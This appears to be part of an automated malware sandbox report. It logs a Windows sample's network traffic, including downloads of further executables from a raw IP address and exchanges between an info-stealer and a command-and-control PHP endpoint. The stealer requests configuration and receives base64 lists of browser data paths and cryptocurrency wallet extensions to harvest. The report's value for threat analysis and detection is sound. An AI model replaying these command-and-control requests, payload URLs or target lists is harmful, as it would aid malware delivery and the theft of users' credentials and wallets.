mode.$FRichPELe@~P@0ef<c@Ph.text?@ `.rdataLP D@@.datapd@.rsrc@@
Aug 30, 2024 06:17:04.499459982 CEST	221	OUT	GET /yuop/66d0502b12496_MKna.exe#main HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 06:17:04.704302073 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:04 GMT Content-Type: application/octet-stream Content-Length: 3337480 Last-Modified: Thu, 29 Aug 2024 10:40:43 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d0502b-32ed08" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 fe f3 32 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 88 4e 00 00 00 00 00 00 00 00 00 00 40 b0 32 00 c8 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@20N@2<l.text `.rdata;<@@.dataM@.rsrcN0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$
Aug 30, 2024 06:17:07.022321939 CEST	227	OUT	GET /malesa/66c9d3bd31e56_otraba.exe#kisotr HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 06:17:07.215503931 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:07 GMT Content-Type: application/octet-stream Content-Length: 5358592 Last-Modified: Sat, 24 Aug 2024 12:36:13 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66c9d3bd-51c400" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 e0 50 3f fc 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 2e 50 00 00 92 01 00 00 00 00 00 2e 4c 50 00 00 20 00 00 00 60 50 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 52 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e0 4b 50 00 4b 00 00 00 00 80 50 00 f8 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 52 00 0c 00 00 00 9a 4b 50 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELP?.P.LP `P@ @R@KPKP RKP H.text4,P .P `.sdata `P2P@.rsrcP:P@@.reloc RQ@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49736	76.76.21.123	80	7556	C:\Users\user\Desktop\gHPYUEh253.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 06:17:02.015515089 CEST	183	OUT	Data Raw: 16 03 03 00 b2 01 00 00 ae 03 03 66 d1 47 bd 32 97 db 0f 1f e8 5b a8 f2 79 ed 13 ae 56 d4 9a 4e 41 ff 02 f1 1e 9b d1 44 24 80 38 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fG2[yVNAD$8&,+0/$#('=<5/_file-link-iota.vercel.app#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49737	76.76.21.123	80	7556	C:\Users\user\Desktop\gHPYUEh253.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 06:17:02.487960100 CEST	129	OUT	Data Raw: 16 03 01 00 7c 01 00 00 78 03 01 66 d1 47 bd 48 9d 8f 7b 6d 31 fa 37 a7 0d 77 e3 2f f2 f2 52 41 55 62 e2 8d de 27 5f 89 4b 98 15 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 41 00 00 00 1e 00 1c 00 00 19 66 69 6c 65 2d 6c 69 6e 6b Data Ascii: \|xfGH{m17w/RAUb'_K5/Afile-link-iota.vercel.app#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	195.10.205.48	80	7556	C:\Users\user\Desktop\gHPYUEh253.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 06:17:12.069048882 CEST	288	OUT	POST /api/twofish.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Content-Length: 477 Host: 195.10.205.48
Aug 30, 2024 06:17:12.069050074 CEST	477	OUT	Data Raw: 64 61 74 61 3d 38 32 52 51 76 56 55 37 42 53 2d 63 50 32 6b 69 71 56 4c 35 69 64 30 4d 50 72 48 69 67 65 6b 63 35 76 36 4c 41 35 6f 67 35 74 5a 37 67 4b 5a 46 4e 5a 44 54 63 79 70 78 42 70 73 64 4d 55 4f 4a 53 73 73 6d 61 72 66 56 6b 37 4d 62 63 Data Ascii: data=82RQvVU7BS-cP2kiqVL5id0MPrHigekc5v6LA5og5tZ7gKZFNZDTcypxBpsdMUOJSssmarfVk7MbcPJa1NNPZSeRA-kGs6-e_7CFFDaqFkW_uZIxuuxkM9yFcPy7J0TuvJquRDxzbExo5ZDtAKNUeaUTU2zx-HQgQYoPAYeJV_MLSpeN77fxO0WmdWQTv3mp3ytd9XULDaUUsE1HTErXLvzyrdQm7wGMSvLkHgxKxSN8Ii
Aug 30, 2024 06:17:14.121211052 CEST	363	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:12 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 76 31 74 34 56 47 4f 5a 52 56 5a 69 7a 53 42 43 37 36 42 31 64 77 61 6a 78 78 69 6c 4d 35 74 37 7a 31 51 62 62 57 66 31 71 6e 2b 4c 48 6c 44 4c 4f 34 4a 32 4e 4d 44 68 41 56 6b 4a 63 39 2f 51 46 2b 42 35 55 50 54 48 32 41 63 6d 59 46 6f 77 6b 45 6c 59 6f 41 74 7a 6c 55 52 6f 30 37 35 63 44 65 37 6b 59 66 46 47 4f 54 67 3d Data Ascii: v1t4VGOZRVZizSBC76B1dwajxxilM5t7z1QbbWf1qn+LHlDLO4J2NMDhAVkJc9/QF+B5UPTH2AcmYFowkElYoAtzlURo075cDe7kYfFGOTg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49745	46.8.231.109	80	7964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 06:17:14.553687096 CEST	87	OUT	GET / HTTP/1.1 Host: 46.8.231.109 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:17:15.109704971 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 06:17:15.189260006 CEST	413	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJDAEGIDHCBFHJJJEG Host: 46.8.231.109 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 34 35 35 44 42 38 42 39 39 37 33 33 37 30 38 35 37 36 34 37 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 2d 2d 0d 0a Data Ascii: ------HJJJDAEGIDHCBFHJJJEGContent-Disposition: form-data; name="hwid"C1455DB8B9973370857647------HJJJDAEGIDHCBFHJJJEGContent-Disposition: form-data; name="build"default------HJJJDAEGIDHCBFHJJJEG--
Aug 30, 2024 06:17:16.225172997 CEST	407	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6d 4d 31 4e 32 46 6a 4e 57 52 6a 4e 57 49 7a 59 32 46 69 5a 44 42 69 4e 54 49 30 5a 54 51 33 4e 44 55 32 5a 6a 59 35 4e 7a 45 34 4e 44 4a 68 4e 47 49 77 5a 6a 41 78 4e 54 55 77 59 57 55 35 5a 54 45 31 59 7a 6b 33 4d 54 51 7a 4d 57 46 6d 5a 47 56 6d 4e 32 56 69 4f 54 68 6d 4e 57 4e 6c 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NmM1N2FjNWRjNWIzY2FiZDBiNTI0ZTQ3NDU2ZjY5NzE4NDJhNGIwZjAxNTUwYWU5ZTE1Yzk3MTQzMWFmZGVmN2ViOThmNWNlfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Aug 30, 2024 06:17:17.044137001 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKFCBFHJDHJKECAKEH Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 35 64 63 35 62 33 63 61 62 64 30 62 35 32 34 65 34 37 34 35 36 66 36 39 37 31 38 34 32 61 34 62 30 66 30 31 35 35 30 61 65 39 65 31 35 63 39 37 31 34 33 31 61 66 64 65 66 37 65 62 39 38 66 35 63 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 2d 2d 0d 0a Data Ascii: ------CBAKFCBFHJDHJKECAKEHContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------CBAKFCBFHJDHJKECAKEHContent-Disposition: form-data; name="message"browsers------CBAKFCBFHJDHJKECAKEH--
Aug 30, 2024 06:17:17.221313953 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Aug 30, 2024 06:17:17.221328974 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Aug 30, 2024 06:17:17.261521101 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCBFIJEHDHCBGDGDGCB Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 46 49 4a 45 48 44 48 43 42 47 44 47 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 35 64 63 35 62 33 63 61 62 64 30 62 35 32 34 65 34 37 34 35 36 66 36 39 37 31 38 34 32 61 34 62 30 66 30 31 35 35 30 61 65 39 65 31 35 63 39 37 31 34 33 31 61 66 64 65 66 37 65 62 39 38 66 35 63 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 46 49 4a 45 48 44 48 43 42 47 44 47 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 46 49 4a 45 48 44 48 43 42 47 44 47 44 47 43 42 2d 2d 0d 0a Data Ascii: ------AFCBFIJEHDHCBGDGDGCBContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------AFCBFIJEHDHCBGDGDGCBContent-Disposition: form-data; name="message"plugins------AFCBFIJEHDHCBGDGDGCB--
Aug 30, 2024 06:17:17.438934088 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Aug 30, 2024 06:17:17.438945055 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Aug 30, 2024 06:17:17.438955069 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Aug 30, 2024 06:17:17.439069986 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Aug 30, 2024 06:17:17.439080954 CEST	896	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Aug 30, 2024 06:17:17.439091921 CEST	1236	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
